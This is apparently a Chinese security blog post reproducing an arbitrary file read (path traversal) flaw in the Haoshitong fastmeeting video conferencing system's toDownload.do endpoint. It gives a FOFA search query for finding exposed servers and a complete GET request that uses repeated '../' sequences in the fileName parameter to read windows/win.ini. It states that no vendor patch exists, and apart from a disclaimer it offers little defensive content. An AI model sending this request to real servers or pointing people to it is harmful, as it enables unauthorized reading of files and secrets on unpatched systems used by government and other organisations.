文章目錄
- 好視通視頻會議系統(fastmeeting) toDownload.do接口存在任意文件讀取漏洞復現 [附POC]
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影響版本
- 0x04 漏洞環境
- 0x05 漏洞復現
- 1.訪問漏洞環境
- 2.構造POC
- 3.復現
- 0x06 修復建議
好視通視頻會議系統(fastmeeting) toDownload.do接口存在任意文件讀取漏洞復現 [附POC]
0x01 前言
免責聲明：請勿利用文章內的相關技術從事非法測試，由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失，均由使用者本人負責，所產生的一切不良后果與文章作者無關。該文章僅供學習用途使用！！！
0x02 漏洞描述
好視通 是國內云視頻會議知名品牌，擁有多項創新核心技術優勢、多方通信服務牌照及行業全面資質 ，專注為政府、公檢法司、教育、集團企業等用戶提供“云+端+業務全場景”解決方案。其視頻會議系統的文件(fastmeeting) /register/toDownload.do?fileName= 存在任意文件遍歷漏洞，可通過fileName參數讀取任意文。
0x03 影響版本
好視通視頻會議系統
0x04 漏洞環境
FOFA語法： app=“好視通-視頻會議”
0x05 漏洞復現
1.訪問漏洞環境
2.構造POC
POC （GET）
GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
3.復現
0x06 修復建議
廠商尚未提供漏洞修補方案，請關注廠商主頁及時更新：
http://www.fsmeeting.com/
